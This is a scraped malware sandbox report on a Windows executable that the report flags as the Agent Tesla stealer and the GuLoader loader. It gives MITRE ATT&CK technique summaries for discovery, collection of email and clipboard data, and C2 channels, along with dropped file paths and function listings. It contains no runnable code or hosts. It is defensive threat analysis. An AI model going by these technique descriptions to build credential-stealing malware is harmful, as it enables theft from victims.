Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FRACCIONAMIENTO 1722403906461L.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Threatname: GuLoader

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Temp\camera-hardware-disabled-symbolic.symbolic.png

C:\Users\user\AppData\Local\Temp\emblem-unreadable.png

C:\Users\user\AppData\Local\Temp\mail-signed.png

C:\Users\user\AppData\Local\Temp\media-removable.png

C:\Users\user\AppData\Local\Temp\monotocardiac.dat

C:\Users\user\AppData\Local\Temp\nsr68C1.tmp\System.dll

C:\Users\user\AppData\Local\Temp\preferences-system-network-proxy-symbolic.symbolic.png

C:\Users\user\AppData\Local\Temp\printer-network.png

C:\Users\user\AppData\Local\Temp\selection-end-symbolic-rtl.symbolic.png

C:\Users\user\AppData\Local\Temp\value-increase-symbolic.symbolic.png

C:\Users\user\AppData\Local\Temp\zoom-out-symbolic.svg

\Device\ConDrv

Static File Info

General

File Icon

Windows Analysis Report
FRACCIONAMIENTO 1722403906461L.exe

Function 00403640 Relevance: 89.7, APIs: 33, Strings: 18, Instructions: 450
stringfilecomCOMMON

Function 00405809 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Function 00405D74 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 033D9749 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 429
memorynativeCOMMON

Function 004040C5 Relevance: 61.6, APIs: 34, Strings: 1, Instructions: 357
windowstringCOMMON

Function 00403D17 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 004030D0 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 204
memoryCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 004069C5 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 00405B99 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 00406BB0 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 198
COMMON

Function 71311817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre